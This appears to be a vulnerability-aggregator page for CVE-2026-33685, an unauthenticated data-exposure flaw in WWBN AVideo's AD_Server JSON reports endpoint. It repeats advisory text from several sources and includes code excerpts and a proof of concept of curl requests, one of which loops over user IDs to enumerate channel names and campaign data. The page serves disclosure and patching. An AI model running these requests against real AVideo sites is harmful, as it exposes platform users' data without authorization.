CVE-2026-33685
AVideo Allows Unauthenticated Access to AD_Server reports.json.php that Exposes Ad Campaign Analytics and User Data
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the plugin/AD_Server/reports.json.php endpoint performs no authentication or authorization checks, allowing any unauthenticated attacker to extract ad campaign analytics data including video titles, user channel names, user IDs, ad campaign names, and impression/click counts. The HTML counterpart (reports.php) and CSV export (getCSV.php) both correctly enforce User::isAdmin(), but the JSON API was left unprotected. Commit daca4ffb1ce19643eecaa044362c41ac2ce45dde contains a patch.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
5.3
AVideo Allows Unauthenticated Access to AD_Server reports.json.php that Exposes Ad Campaign Analytics and User Data
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the plugin/AD_Server/reports.json.php endpoint performs no authentication or authorization checks, allowing any unauthenticated attacker to extract ad campaign analytics data including video titles, user channel names, user IDs, ad campaign names, and impression/click counts. The HTML counterpart (reports.php) and CSV export (getCSV.php) both correctly enforce User::isAdmin(), but the JSON API was left unprotected. Commit daca4ffb1ce19643eecaa044362c41ac2ce45dde contains a patch.
- Record
CVE-2026-33685- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-862
- Updated
- 2026-11-02
EUVDEUVD-2026-14496
5.3
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the plugin/AD_Server/reports.json.php endpoint performs no authentication or authorization checks, allowing any unauthenticated attacker to extract ad campaign analytics data including video titles, user channel names, user IDs, ad campaign names, and impression/click counts. The HTML counterpart (reports.php) and CSV export (getCSV.php) both correctly enforce User::isAdmin(), but the JSON API was left unprotected. Commit daca4ffb1ce19643eecaa044362c41ac2ce45dde contains a patch.
- Record
EUVD-2026-14496- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-j36m-74g2-7m95
5.3
AVideo Allows Unauthenticated Access to AD_Server reports.json.php that Exposes Ad Campaign Analytics and User Data
Summary
The plugin/AD_Server/reports.json.php endpoint performs no authentication or authorization checks, allowing any unauthenticated attacker to extract ad campaign analytics data including video titles, user channel names, user IDs, ad campaign names, and impression/click counts. The HTML counterpart (reports.php) and CSV export (getCSV.php) both correctly enforce User::isAdmin(), but the JSON API was left unprotected.
Details
The vulnerable file plugin/AD_Server/reports.json.php loads the application configuration at line 5 but never checks whether the request comes from an authenticated admin user:
// plugin/AD_Server/reports.json.php:1-10
<?php
header('Content-Type: application/json');
require_once '../../videos/configuration.php';
// Fetch request parameters with safety checks
$startDate = !empty($_REQUEST['startDate']) ? $_REQUEST['startDate'] . ' 00:00:00' : null;
$endDate = !empty($_REQUEST['endDate']) ? $_REQUEST['endDate'] . ' 23:59:59' : null;
$reportType = isset($_REQUEST['reportType']) ? $_REQUEST['reportType'] : null;
Compare with the HTML page at plugin/AD_Server/reports.php:6-8, which correctly gates access:
if (!User::isAdmin()) {
forbiddenPage(__("You cannot do this"));
exit;
}
And plugin/AD_Server/getCSV.php:4-6:
if (!User::isAdmin()) {
forbiddenPage('You must be Admin');
}
The JSON endpoint exposes five report types, each querying joined tables that include user and video metadata. For example, getAdsByVideoAndPeriod() at VastCampaignsLogs.php:239 executes:
SELECT v.title as video_title, u.channelName, v.users_id, vcl.videos_id,
COUNT(vcl.id) as total_ads, vc.name as campaign_name
FROM vast_campaigns_logs vcl
LEFT JOIN videos v ON v.id = vcl.videos_id
LEFT JOIN users u ON u.id = v.users_id
LEFT JOIN vast_campaigns_has_videos vchv ON vchv.id = vcl.vast_campaigns_has_videos_id
LEFT JOIN vast_campaigns vc ON vc.id = vchv.vast_campaigns_id
This returns video titles, user channel names, user IDs, and campaign names directly to the unauthenticated caller.
Additionally, plugin/AD_Server/getData.json.php also lacks authentication and exposes aggregate ad view counts via VastCampaignsLogs::getViews(), though with lower impact.
PoC
# 1. Get all ad performance by video — returns video titles, user channel names,
# user IDs, campaign names, and impression counts (no auth needed)
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsByVideo'
# Expected: JSON array with objects containing video_title, channelName,
# users_id, videos_id, total_ads, campaign_name
# 2. Get per-user ad analytics for a specific user
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsByUser&users_id=1'
# Expected: JSON array with video_title, videos_id, total_ads, campaign_name, users_id
# 3. Get ad type breakdown with campaign names
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adTypes'
# Expected: JSON array with type, total_ads, campaign_name
# 4. Get ads for a specific video
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsForSingleVideo&videos_id=1'
# Expected: JSON array with type, total_ads, campaign_name
# 5. Enumerate users by iterating user IDs
for i in $(seq 1 20); do
curl -s "https://target/plugin/AD_Server/reports.json.php?reportType=adsByUser&users_id=$i"
done
# 6. Aggregate view counts (lower impact, also unauthenticated)
curl -s 'https://target/plugin/AD_Server/getData.json.php'
# Expected: {"error":false,"msg":"","views":12345}
Impact
An unauthenticated attacker can:
- Enumerate platform users: Extract user IDs and channel names by iterating
users_idvalues via theadsByUserreport type - Extract ad campaign intelligence: Obtain campaign names, types (own vs third-party), and performance metrics (impression and click counts per video/user)
- Map video-to-user relationships:…
- Record
GHSA-j36m-74g2-7m95- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-862
- Updated
- 2026-11-02
NVD
5.3
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the plugin/AD_Server/reports.json.php endpoint performs no authentication or authorization checks, allowing any unauthenticated attacker to extract ad campaign analytics data including video titles, user channel names, user IDs, ad campaign names, and impression/click counts. The HTML counterpart (reports.php) and CSV export (getCSV.php) both correctly enforce User::isAdmin(), but the JSON API was left unprotected. Commit daca4ffb1ce19643eecaa044362c41ac2ce45dde contains a patch.
- Record
CVE-2026-33685- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-862
- Updated
- 2026-11-02
OSV
5.3
AVideo Allows Unauthenticated Access to AD_Server reports.json.php that Exposes Ad Campaign Analytics and User Data
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the plugin/AD_Server/reports.json.php endpoint performs no authentication or authorization checks, allowing any unauthenticated attacker to extract ad campaign analytics data including video titles, user channel names, user IDs, ad campaign names, and impression/click counts. The HTML counterpart (reports.php) and CSV export (getCSV.php) both correctly enforce User::isAdmin(), but the JSON API was left unprotected. Commit daca4ffb1ce19643eecaa044362c41ac2ce45dde contains a patch.
- Record
CVE-2026-33685- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-862
- Updated
- 2026-11-02
OSVGHSA-j36m-74g2-7m95
5.3
AVideo Allows Unauthenticated Access to AD_Server reports.json.php that Exposes Ad Campaign Analytics and User Data
Summary
The plugin/AD_Server/reports.json.php endpoint performs no authentication or authorization checks, allowing any unauthenticated attacker to extract ad campaign analytics data including video titles, user channel names, user IDs, ad campaign names, and impression/click counts. The HTML counterpart (reports.php) and CSV export (getCSV.php) both correctly enforce User::isAdmin(), but the JSON API was left unprotected.
Details
The vulnerable file plugin/AD_Server/reports.json.php loads the application configuration at line 5 but never checks whether the request comes from an authenticated admin user:
// plugin/AD_Server/reports.json.php:1-10
<?php
header('Content-Type: application/json');
require_once '../../videos/configuration.php';
// Fetch request parameters with safety checks
$startDate = !empty($_REQUEST['startDate']) ? $_REQUEST['startDate'] . ' 00:00:00' : null;
$endDate = !empty($_REQUEST['endDate']) ? $_REQUEST['endDate'] . ' 23:59:59' : null;
$reportType = isset($_REQUEST['reportType']) ? $_REQUEST['reportType'] : null;
Compare with the HTML page at plugin/AD_Server/reports.php:6-8, which correctly gates access:
if (!User::isAdmin()) {
forbiddenPage(__("You cannot do this"));
exit;
}
And plugin/AD_Server/getCSV.php:4-6:
if (!User::isAdmin()) {
forbiddenPage('You must be Admin');
}
The JSON endpoint exposes five report types, each querying joined tables that include user and video metadata. For example, getAdsByVideoAndPeriod() at VastCampaignsLogs.php:239 executes:
SELECT v.title as video_title, u.channelName, v.users_id, vcl.videos_id,
COUNT(vcl.id) as total_ads, vc.name as campaign_name
FROM vast_campaigns_logs vcl
LEFT JOIN videos v ON v.id = vcl.videos_id
LEFT JOIN users u ON u.id = v.users_id
LEFT JOIN vast_campaigns_has_videos vchv ON vchv.id = vcl.vast_campaigns_has_videos_id
LEFT JOIN vast_campaigns vc ON vc.id = vchv.vast_campaigns_id
This returns video titles, user channel names, user IDs, and campaign names directly to the unauthenticated caller.
Additionally, plugin/AD_Server/getData.json.php also lacks authentication and exposes aggregate ad view counts via VastCampaignsLogs::getViews(), though with lower impact.
PoC
# 1. Get all ad performance by video — returns video titles, user channel names,
# user IDs, campaign names, and impression counts (no auth needed)
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsByVideo'
# Expected: JSON array with objects containing video_title, channelName,
# users_id, videos_id, total_ads, campaign_name
# 2. Get per-user ad analytics for a specific user
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsByUser&users_id=1'
# Expected: JSON array with video_title, videos_id, total_ads, campaign_name, users_id
# 3. Get ad type breakdown with campaign names
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adTypes'
# Expected: JSON array with type, total_ads, campaign_name
# 4. Get ads for a specific video
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsForSingleVideo&videos_id=1'
# Expected: JSON array with type, total_ads, campaign_name
# 5. Enumerate users by iterating user IDs
for i in $(seq 1 20); do
curl -s "https://target/plugin/AD_Server/reports.json.php?reportType=adsByUser&users_id=$i"
done
# 6. Aggregate view counts (lower impact, also unauthenticated)
curl -s 'https://target/plugin/AD_Server/getData.json.php'
# Expected: {"error":false,"msg":"","views":12345}
Impact
An unauthenticated attacker can:
- Enumerate platform users: Extract user IDs and channel names by iterating
users_idvalues via theadsByUserreport type - Extract ad campaign intelligence: Obtain campaign names, types (own vs third-party), and performance metrics (impression and click counts per video/user)
- Map video-to-user relationships:…
- Record
GHSA-j36m-74g2-7m95- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-862
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
wwbn/avideoPackagist |
through 26.0 | None known |
wwbn/avideoPackagist |
through 26.0, plus listed versions 10.410.81111.111.1.1 Show 11 moreShow less11.511.612.414.314.3.114.418.021.022.024.025.0 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-33685 is a medium vulnerability (CVSS 5.3) in Wwbn Avideo, published March 23, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.33%, the 26th percentile. No source names a fixed version.
References
github.com/WWBN/AVideo/security/advisories/GHSA-j36m-74g2-7m95
github.com/WWBN/AVideo/commit/daca4ffb1ce19643eecaa044362c41ac2ce45dde
nvd.nist.gov/vuln/detail/CVE-2026-33685
github.com/advisories/GHSA-j36m-74g2-7m95
github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33685.json
github.com/WWBN/AVideo
Left out here: the rest of 2 source descriptions. The JSON record has them.